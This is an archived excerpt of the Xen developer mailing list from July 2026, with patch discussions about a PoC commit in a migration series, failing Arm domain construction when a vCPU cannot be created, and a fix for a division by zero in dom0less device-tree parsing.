On Wed, 8 Jul 2026 at 15:12, Anthony PERARD <anthony.perard@vates.tech> wrote:
>
> A note about the subject: When taken out of the context of this patch
> series (so once commited), we don't know what "PoC" is refering to. In
> "libs/guest: finalize PoC", it looks like "libxenguest" was the PoC, but
> it isn't.

It's referring to the previous "PoC: libs/guest: use foreign copy
during migration" commit.

> It feels like this patch wants to be merged into that other PoC patch,
> and have a patch description completely rewritten to have something that
> doesn't looks like the description of an experiment.
>

Definitively.

> Cheers,
>
>

Frediano


From xen-devel-bounces@lists.xenproject.org Thu Jul 09 09:43:17 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 09:43:17 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1357757.1612093 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whlHn-0004Gc-Ii; Thu, 09 Jul 2026 09:43:15 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1357757.1612093; Thu, 09 Jul 2026 09:43:15 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whlHn-0004GV-Fe; Thu, 09 Jul 2026 09:43:15 +0000
Received: by outflank-mailman (input) for mailman id 1357757;
 Thu, 09 Jul 2026 09:43:14 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <Michal.Orzel@amd.com>) id 1whlHm-0004GP-2o
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 09:43:14 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whlHk-00EMys-87
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 11:43:12 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <Michal.Orzel@amd.com>)
 id 6a4f6d2e-e002-0a2a0a5209dd-0a2a450aa90a-8
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 11:43:11 +0200
Received: from [52.101.43.36]
 (helo=SJ2PR03CU001.outbound.protection.outlook.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <Michal.Orzel@amd.com>)
 id 6a4f6d2e-e40e-0a2a450a0019-34652b24282c-3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 11:43:11 +0200
Received: from BN9PR03CA0774.namprd03.prod.outlook.com (2603:10b6:408:13a::29)
 by DM6PR12MB4092.namprd12.prod.outlook.com (2603:10b6:5:214::14) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.15; Thu, 9 Jul
 2026 09:43:05 +0000
Received: from BN3PEPF0000B071.namprd04.prod.outlook.com
 (2603:10b6:408:13a:cafe::58) by BN9PR03CA0774.outlook.office365.com
 (2603:10b6:408:13a::29) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.202.11 via Frontend Transport; Thu, 9
 Jul 2026 09:43:05 +0000
Received: from satlexmb07.amd.com (165.204.84.17) by
 BN3PEPF0000B071.mail.protection.outlook.com (10.167.243.116) with Microsoft
 SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
 15.21.181.6 via Frontend Transport; Thu, 9 Jul 2026 09:43:04 +0000
Received: from satlexmb07.amd.com (10.181.42.216) by satlexmb07.amd.com
 (10.181.42.216) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Thu, 9 Jul
 2026 04:43:04 -0500
Received: from [10.252.145.116] (10.180.168.240) by satlexmb07.amd.com
 (10.181.42.216) with Microsoft SMTP Server id 15.2.2562.41 via Frontend
 Transport; Thu, 9 Jul 2026 04:43:03 -0500
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=amd.com header.i="@amd.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=DASt9umPyCR+ZIyDu5VkzuUhB06mqfSwbOE0XqlbTtYWSLm2N8n1vXxhZWQM9apa6MUSByJixfhYCzlLyAeP0Fddhb279uaLPbvlrzZoh3Y1vBebvnxvC0YEuR7YdNEPhvN+kZssfw4CVy36ZdTR9HfOS1LhHOGIqv7lkB8/B+noBgi3pLeuYnjaSDJf5kb3cWrRmTBYe57w+/A+n3FEpkCNbGVWfOcNl3JnzCdSErM1HydIVSEh6e2g/iOYXZcDfqRYGZ3qPA/T213RMX4p2MlLS2bdk3b/Bk4db5ftCuxF3HXGxPYs5WkaFjFnZJ9FNsWV2QAY7C7srBOHL4Hzgg==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=faKzvThL6z6bi0qFeVSyIZcETPcOOHYiXWhXty9vtzQ=;
 b=KOylzzK07y8dGCd5aYD9RzghfN7PKYWaNS14FBwbv8ov/Wq5JkEVhRdFC9Ktw9ZE5sEVWP7WgJGhhMYMPCq2+unYiDlcKy56uxLnRUwIwrmz7GXGQLMKbsrpiR4P55vNBWC6MMBSsnU5ASRzOy/qMyp6d6WeVCvg2k6thHj0gp50ztcj6jW2xBoMMe594x+XFah3ZoA+GxeM7WLHp9oyO9lgg4+jvaVc7ru7bsY+xXOdLTHwmrx8xJ88Wsp+OjOzbUPjmkFLTYzrRwaJj4NEfI2pHBOOVa+IYv6YMhCHB12r8Zv5ZLUpD8/cCwOP605XVlNF6/H0/kJfugObeX5NgA==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 165.204.84.17) smtp.rcpttodomain=lists.xenproject.org smtp.mailfrom=amd.com;
 dmarc=pass (p=quarantine sp=quarantine pct=100) action=none
 header.from=amd.com; dkim=none (message not signed); arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=amd.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=faKzvThL6z6bi0qFeVSyIZcETPcOOHYiXWhXty9vtzQ=;
 b=nnzdRyHhPHLoeDv+L6wrQkLt8KsHcZd/GikyfKAPuf0i2FTvY7A4jI/zV9JjxhMTFYbxQu1dreEuAMW+zqDU81dsjC4lMnA/R94EKUzNVNBXBial5D29SpOvqLRHI4bvuFfLFKr/jvdtTYraFIWUYlxHt6I8Sh67PDg9oH7R3Ac=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 165.204.84.17)
 smtp.mailfrom=amd.com; dkim=none (message not signed)
 header.d=none;dmarc=pass action=none header.from=amd.com;
Received-SPF: Pass (protection.outlook.com: domain of amd.com designates
 165.204.84.17 as permitted sender) receiver=protection.outlook.com;
 client-ip=165.204.84.17; helo=satlexmb07.amd.com; pr=C
Message-ID: <47957c72-31e0-4401-a9ee-e3679db54011@amd.com>
Date: Thu, 9 Jul 2026 11:43:03 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [for-4.22][PATCH v2] xen/arm: Fail domain construction if a
 secondary vCPU cannot be created
To: "Halder, Ayan Kumar" <ayankuma@amd.com>, <xen-devel@lists.xenproject.org>
CC: Stefano Stabellini <sstabellini@kernel.org>, Julien Grall
	<julien@xen.org>, Bertrand Marquis <bertrand.marquis@arm.com>, "Volodymyr
 Babchuk" <Volodymyr_Babchuk@epam.com>, <ayan.kumar.halder@amd.com>, "Oleksii
 Kurochko" <oleksii.kurochko@gmail.com>
References: <20260709063643.11800-1-michal.orzel@amd.com>
 <aab9fd35-6230-474c-8848-480c8cccc43c@amd.com>
From: "Orzel, Michal" <michal.orzel@amd.com>
Content-Language: en-US
In-Reply-To: <aab9fd35-6230-474c-8848-480c8cccc43c@amd.com>
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: BN3PEPF0000B071:EE_|DM6PR12MB4092:EE_
X-MS-Office365-Filtering-Correlation-Id: e0e07017-5208-4df9-5efb-08dedd9e79b5
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|82310400026|36860700016|1800799024|376014|23010399003|4143699003|6133799003|22082099003|18002099003|56012099006|11063799006;
X-Microsoft-Antispam-Message-Info:
	/E+5g63Sr6dgbtndun/UlYa1Fy9V8JoAceWRGfOPXi0HDm1uWs+bJJ2yZrWHZdAUDcLMUsu4w6BBE2BbwzxRFCH4y0zSkDvblevvUOOnulNZM+zTuvofTX8Wh1hTcW+3COpb6qBTJmv1Vu3lIiP1RpO5myvzdC1RkbyVVwiRxQmIFliHp96UZZO5ZNseFbrCOQFBof3n/WSModEFq4EjxHbNlWngm5Gg7h0h+Fa5FlVQcuz8IGrCimgPswJVqd8sfRQ9GfVLQJX1lH9xXS/gpqn4iMK5w8sBhcQduZOhONngDSVGTTib6WR6ugK7kVdPsXjrEPLmFMKdZelmjsgq07HFbBvM+RRp+psWM0136FVO4GK9LWeTHf9/LyTfJCUgcQGnRAOFDy8PkT60aedI8SYullXKwGnCYY2+JXB9z8/wmuKrWE2H2j2p/9ZdTUmx0K1YD3o41vuNtA49L6OM0CnMpNbwJGwBcNgGHfqbgIcg4R8G7l8RYtcFojJQPsWItCIw0ZWuddCXNOSRAFDZtzfdxGwbhGmR4qXMZo0nCny+HmDCKMt5h5aa8boPfb5FDbrrk0FJB8iM22VacDt5xr9pImY0ntsf4vLIXkM68gojTxRb4PG2sVZ30xccQr03yauR8qwE0uCd3cuCp5GRi/4TLBHukjhMl3l5Zt3liZg+yJc3NWa2lZkNDPpH1hugCB3ufWbQEQcnSLJYpt5bGA==
X-Forefront-Antispam-Report:
	CIP:165.204.84.17;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:satlexmb07.amd.com;PTR:InfoDomainNonexistent;CAT:NONE;SFS:(13230040)(82310400026)(36860700016)(1800799024)(376014)(23010399003)(4143699003)(6133799003)(22082099003)(18002099003)(56012099006)(11063799006);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	8pXemOjDXAGUTSgGpGpnjgebnw2N79Jth808h5FOIULld25SNBzfKkDpZeOUozWr1klTZK5Bt/p3soPDrYh9d91fBeaey3Bi1Mv17JOKpfkmHDxmEQM4UeHBRIihKDyyrHwuLoL96uEwG583ucLhTgcQ1fn0QoIEFfgSJhnMmmlsD94HVDxuXP5vqr9vAwmT3N8eP9zHUnIf4SEEGFXNqfKtEHgIbsAZckBvWK5nq0Dfi2fJOlctCO4RHQblwkY1y3PSPkWUbaS6tglFuzjD/8FtZUL43R88nvtM1LGUjd15PhZ4+DujY3aZqiDPjerdaGBp+SpQ4P2lO6Pe49MKx30eyOaqbXpjA6IAsxXalaxnSrJ9YAEC6kFdsqx1Lh5aOpGikeRrtF808FeUwTPoHYu8ErKKq+Xm6+OYSkZwPHxd0hQ/UuP7mfuD2KXgDzMf
X-OriginatorOrg: amd.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 09 Jul 2026 09:43:04.9290
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: e0e07017-5208-4df9-5efb-08dedd9e79b5
X-MS-Exchange-CrossTenant-Id: 3dd8961f-e488-4e60-8e11-a82d994e183d
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=3dd8961f-e488-4e60-8e11-a82d994e183d;Ip=[165.204.84.17];Helo=[satlexmb07.amd.com]
X-MS-Exchange-CrossTenant-AuthSource:
	BN3PEPF0000B071.namprd04.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: DM6PR12MB4092
X-purgate-ID: tlsNG-4011c0/1783590191-3CE77DDE-B45E977A/0/0
X-purgate-type: clean
X-purgate-size: 2110



On 09-Jul-26 11:32, Halder, Ayan Kumar wrote:
> 
> On 09/07/2026 07:36, Michal Orzel wrote:
>> construct_domain() creates the secondary vCPUs in a loop, but on a
>> vcpu_create() failure it only prints a message and breaks out of the
>> loop returning success. As a result the domain can be partially
>> constructed with fewer vCPUs than d->max_vcpus. This causes two contract
>> violations:
>>   - Xen-Guest: domain's FDT is generated before vCPU creation - Xen exposes
>>     incorrect information (e.g. two vCPUs listed in a device tree while only
>>     one is actually created),
>>   - User-Xen: unlike x86, on Arm port we try to bail out as soon as
>>     possible on unsatisfied user requests (e.g. user requested two vCPUs
>>     for a domain but it was created with only one).
> 
> Unrelated, but just to add my 2 cents wearing a safety hat.
> 
> The user-xen contract comes from a system integrator. Xen should try to 
> follow the contract and if not panic or bail out.
> 
> The Xen-guest contract can be used to enforce the rule that guest should 
> read the contract before doing any safety critical task.
> 
> The most important thing is anything errors that are internal to Xen, 
> should be propagated to the external world (either as panic or return an 
> error to the guest or abort the guest). If there is a degradation is 
> functionality (eg Xen creating a guest with lesser number of vCPUS that 
> what the system integrator provided), then this is safety issue unless 
> we put an assumption on guest to read its device tree and know the final 
> configuration (which may not be always ok).
I agree and this is the reason behind this patch.
> 
>>
>> Return an error instead of breaking out of the loop. Both callers
>> (construct_domU() and construct_hwdom()) already propagate a negative
>> return value and fail domain construction.
>>
>> Fixes: 6b0e8e43348a ("xen/arm: allocate secondaries dom0 vcpus")
>> Signed-off-by: Michal Orzel <michal.orzel@amd.com>
> Reviewed-by: Ayan Kumar Halder <ayan.kumar.halder@amd.com>
Thanks.

~Michal



From xen-devel-bounces@lists.xenproject.org Thu Jul 09 09:44:10 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 09:44:10 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1357763.1612103 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whlIg-0004mD-SH; Thu, 09 Jul 2026 09:44:10 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1357763.1612103; Thu, 09 Jul 2026 09:44:10 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whlIg-0004m6-Oy; Thu, 09 Jul 2026 09:44:10 +0000
Received: by outflank-mailman (input) for mailman id 1357763;
 Thu, 09 Jul 2026 09:44:09 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <dmytro_prokopchuk1@epam.com>) id 1whlIf-0004ll-82
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 09:44:09 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whlIe-002Gah-77
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 11:44:08 +0200
Received: from [10.42.69.7] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <dmytro_prokopchuk1@epam.com>)
 id 6a4f6d61-5cb7-0a2a0a5109dd-0a2a4507cdd4-18
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 11:44:08 +0200
Received: from [40.107.162.85]
 (helo=PA4PR04CU001.outbound.protection.outlook.com)
 by tlsNG-ef75cf.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <dmytro_prokopchuk1@epam.com>)
 id 6a4f6d67-9c8e-0a2a45070019-286ba255240f-3
 for <xen-devel@lists.xenproject.org>; Thu, 09 Jul 2026 11:44:08 +0200
Received: from AM9PR03MB7526.eurprd03.prod.outlook.com (2603:10a6:20b:3de::17)
 by DB5PR03MB10050.eurprd03.prod.outlook.com (2603:10a6:10:48b::18)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.8; Thu, 9 Jul 2026
 09:44:05 +0000
Received: from AM9PR03MB7526.eurprd03.prod.outlook.com
 ([fe80::904d:5820:80e1:41ba]) by AM9PR03MB7526.eurprd03.prod.outlook.com
 ([fe80::904d:5820:80e1:41ba%5]) with mapi id 15.21.0181.014; Thu, 9 Jul 2026
 09:44:05 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=epam.com header.i="@epam.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:x-ms-exchange-senderadcheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=q8iJy2DJ8fnE3XhYZAPPm7TCEQiQhkbv66m39nURi60tWchybQu8GcHhODvmdmal5mt+VYYItLjll4ZxY0opt6Xx2eWezqbmql+/mWAP/7vOjVgsGzdq+bKktIGitwhRLU5JtGL4fjWpJ3LVe3rERacCL0+b92II1myTp/3BnTAlP1VrNhgnMxEJdTJKzw/v1BiNrHuNapAJSNsyBxEBlUME/MOi303QDexQrjtdkEkP9JLT1FS0yZicp/9XPMwrxT/7vxfpNyq+P9c/3tm6MUNrbdpeDlLM8gLfVFsv3IyS5N5Thac7R2/mkM4EgGnyPSZkscnRegbU56Gfwvk55A==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=CrDKhGbtoiB7h2F4T4KrnW2M6c8Fox/+Ij5itpX9U/0=;
 b=C4pMh1vNlynn0Dhltpq/lm9Ptew4OpsfMpqh7KiLeDm16U4YMzqy0EU+HRajhRMA5f2p99XRTWloS4tCyRsL/DbJ21g1l5KFAANOcYwJw49gKPO4pYVFml6kXAAuyoUpTqCZFdZDOQ8/tg07f8KUm0g9Ejlu733T6z2S3QoR5SlLgRPaZr17FJZFVXYWczi0aVt+F4vqnU2xqB5DcGetvpe8ay94b8M71uE99TXTnq+OQOsCXLqNx+fUkdxtgF8kwG97nSKJNEJ/rmvImICilml+E6irkAJ9pStWfGIsjwlEj/GUn4HwyEehw1RCF2vEGTHzCaWtOWBfPVSrGbXurA==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=epam.com; dmarc=pass action=none header.from=epam.com;
 dkim=pass header.d=epam.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=epam.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=CrDKhGbtoiB7h2F4T4KrnW2M6c8Fox/+Ij5itpX9U/0=;
 b=EhMjxiSHhaS92EmvOh8XqptfatzDZJGdpz91fS4YQt87hmzNuA88MgR2z8W3mT8uXV850cfvMrz8cmEnsM4p/7jejuBXj1AkGeF/N41V+KL1IVFkknngkzQlFj2wBcvmR3SEdyWeEnZBWtXVTba5bIDFuYOxKecLXjDZ69dd4eTt6kyIZ/OwvSuw3LWQNT/ZXoD5ukT0Lm2MOy27Qx1iTjqP8iEFaZujM/NWplxZnp/m4oyo1S8PQKkyn0aw6C2V2IRjNFNrVzyG13HghTqnuopODggTS2MOEj2IhL3gq2N7XeYgl8cKVvBX137+cRs0JnUHPenPHTkqd7a8NFU7IA==
From: Dmytro Prokopchuk1 <dmytro_prokopchuk1@epam.com>
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
CC: Dmytro Prokopchuk1 <dmytro_prokopchuk1@epam.com>, Stefano Stabellini
	<sstabellini@kernel.org>, Julien Grall <julien@xen.org>, Bertrand Marquis
	<bertrand.marquis@arm.com>, Michal Orzel <michal.orzel@amd.com>
Subject: [PATCH for-4.22 v3] dom0less: Prevent division by zero in
 handle_passthrough_prop()
Thread-Topic: [PATCH for-4.22 v3] dom0less: Prevent division by zero in
 handle_passthrough_prop()
Thread-Index: AQHdD4d7qU530mHLc0yhuTdjB7BCxQ==
Date: Thu, 9 Jul 2026 09:44:05 +0000
Message-ID:
 <500cc80a172570f7fdde3287185398dc49460b2b.1783590032.git.dmytro_prokopchuk1@epam.com>
Accept-Language: en-US, uk-UA, ru-RU
Content-Language: en-US
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
authentication-results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=epam.com;
x-ms-publictraffictype: Email
x-ms-traffictypediagnostic: AM9PR03MB7526:EE_|DB5PR03MB10050:EE_
x-ms-office365-filtering-correlation-id: 75b665a2-c835-4c91-4379-08dedd9e9d99
x-ms-exchange-senderadcheck: 1
x-ms-exchange-antispam-relay: 0
x-microsoft-antispam:
 BCL:0;ARA:13230040|23010399003|1800799024|376014|42112799006|366016|3023799007|56012099006|11063799006|38070700021|18002099003;
x-microsoft-antispam-message-info:
 5dJXDJ1oyYtStfzPXTsaVenF3nWR29pdJ6QmD6X5MkdsssuvirEJXD7qozdZUnqAodNnwSYeVhU20Ue1T/gExgk+SomNLhULNu2tkAjDaDnDgUcwKxOlEmA8QPugVtQVRRNJGBwW1SBXNQPYjfsv9bpk24lNhHCPdDDyGr4e2lfGbqiRd/MgeeAZicxxD1RjB6E5/I7n3eLgnmPsT4BUzFvXxpF6oMsd9cX5dEzAV/zGI48vqOakjtqqx1n98hZ5R3ajtzqrT2FSzVbE0Uk/wqLxmMcCvk1RKeXTkTspEi6by0/IytKQgfroD04ZCLOYc1KWztDP7pGONpWZGosC3hEnzGh695rMLXIJo/rvY0uvJFyMTne4GWIwyuMyDQOmIo60F8+Tt4pg/56fMGvhrnCLZQsKDTGMh5Fl2oMZTBAnI/w7MpMg09rfsjqlZjclFwKsIYiWjSII04eFGu9hdig0wt/ndfPmH8lbTO4O+7vb4TtOxpVK82QOQ9vJeQNCzuW8/OZKjpPCxTpl0cDZQeWZ+qXirQq+7b8PpBjL8U3MJFwI3N9qRm+F0Za5eIdGCV0/gOghV5qy5PxLRk9sVho9YBDwuwDPazQ8/ohNSeQWfcnZl/LAKcXcrPjbCYo3TksgmDDqTykdxTULiJntNM0Hed2dPMz8TQJFrzG9o/TT7XhCxt4spIdL2X56ZWbMSH5uaH9VxB6hIkcL3uZ+/+E1gwq200olz5JYwGU6whI=
x-forefront-antispam-report:
 CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:AM9PR03MB7526.eurprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(23010399003)(1800799024)(376014)(42112799006)(366016)(3023799007)(56012099006)(11063799006)(38070700021)(18002099003);DIR:OUT;SFP:1102;
x-ms-exchange-antispam-messagedata-chunkcount: 1
x-ms-exchange-antispam-messagedata-0:
 =?iso-8859-1?Q?oWyZijchk7J94AgX8KjZkZViy8IcDTVJ1OZSAHXb9ndBqO0GmrHSvUNafc?=
 =?iso-8859-1?Q?RaFmz9Rs/CPa2YBJbwQEV1ttXhrQCaRTtQZNB6UG9mDHR2FHrOQX62/ijV?=
 =?iso-8859-1?Q?XaYffgp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-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
MIME-Version: 1.0
X-OriginatorOrg: epam.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-AuthSource: AM9PR03MB7526.eurprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 75b665a2-c835-4c91-4379-08dedd9e9d99
X-MS-Exchange-CrossTenant-originalarrivaltime: 09 Jul 2026 09:44:05.1513
 (UTC)
X-MS-Exchange-CrossTenant-fromentityheader: Hosted
X-MS-Exchange-CrossTenant-id: b41b72d0-4e9f-4c26-8a69-f949f367c91d
X-MS-Exchange-CrossTenant-mailboxtype: HOSTED
X-MS-Exchange-CrossTenant-userprincipalname: tMJibz6eFyvzod4hDox5RGm6Cs2U45jygsM4uxW8ul9lO5qyaWr64SfuKEK+4BzWsiJkwMpxfHFgRXqPo3s13Xsdc7uIfFCjdv1Z9t4rBu0=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: DB5PR03MB10050
X-purgate-ID: tlsNG-ef75cf/1783590248-FC11625E-7C13CCE9/0/0
X-purgate-type: clean
X-purgate-size: 1981

A malformed partial DTB specifying both '#address-cells =3D <0>' and
'#size-cells =3D <0>' causes '(address_cells * 2 + size_cells)' to
evaluate to 0. This sum is subsequently used as a divisor when
calculating the number of regions in the 'xen,reg' property inside
handle_passthrough_prop():

    len =3D fdt32_to_cpu(xen_reg->len) / ((address_cells * 2 + size_cells) =
*
                                        sizeof(uint32_t));

This leads to a division by zero exception in the Xen hypervisor during
boot, causing a hypervisor panic/crash.

Fix this by validating that both 'address_cells' and 'size_cells'
are within the valid range of [1, 2] at the read side in scan_pfdt_node()
immediately after they are parsed. Any invalid cell size combination is
safely rejected early with an error message and return -EINVAL.

Fixes: 9ce974c47588 ("xen/arm: assign devices to boot domains")
Signed-off-by: Dmytro Prokopchuk <dmytro_prokopchuk1@epam.com>
---
Changes in v3:
 - use Michal's idea for placing that check into other place
 - reword commit message
---
 xen/common/device-tree/dom0less-build.c | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/xen/common/device-tree/dom0less-build.c b/xen/common/device-tr=
ee/dom0less-build.c
index eacfd93087..179a2b88aa 100644
--- a/xen/common/device-tree/dom0less-build.c
+++ b/xen/common/device-tree/dom0less-build.c
@@ -341,6 +341,13 @@ static int __init scan_pfdt_node(struct kernel_info *k=
info, const void *pfdt,
     size_cells =3D device_tree_get_u32(pfdt, nodeoff, "#size-cells",
                                      DT_ROOT_NODE_SIZE_CELLS_DEFAULT);
=20
+    if ( address_cells < 1 || address_cells > 2 ||
+         size_cells < 1 || size_cells > 2 )
+    {
+        dprintk(XENLOG_ERR "Invalid address/size cells combination\n");
+        return -EINVAL;
+    }
+
     node_next =3D fdt_first_subnode(pfdt, nodeoff);
     while ( node_next > 0 )
     {
--=20
2.43.0


From xen-devel-bounces@lists.xenproject.org Thu Jul 09 09:44:15 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 09 Jul 2026 09:44:15 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1357764.1612111 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whlIl-000511-24; Thu, 09 Jul 2026 09:44:15 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1357764.1612111; Thu, 09 Jul 2026 09:44:15 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whlIk-00050s-VK; Thu, 09 Jul 2026 09:44:14 +0000
Received: by outflank-mailman (input) for mailman id 1357764;
 Thu, 09 Jul 2026 09:44:13 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <Michal.Orzel@amd.com>) id 1whlIj-000507-BU
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 09:44:13 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whlIi-002Gah-OJ
 for xen-devel@lists.xenproject.org; Thu, 09 Jul 2026 11:44:12 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <Michal.Orzel@amd.com>)
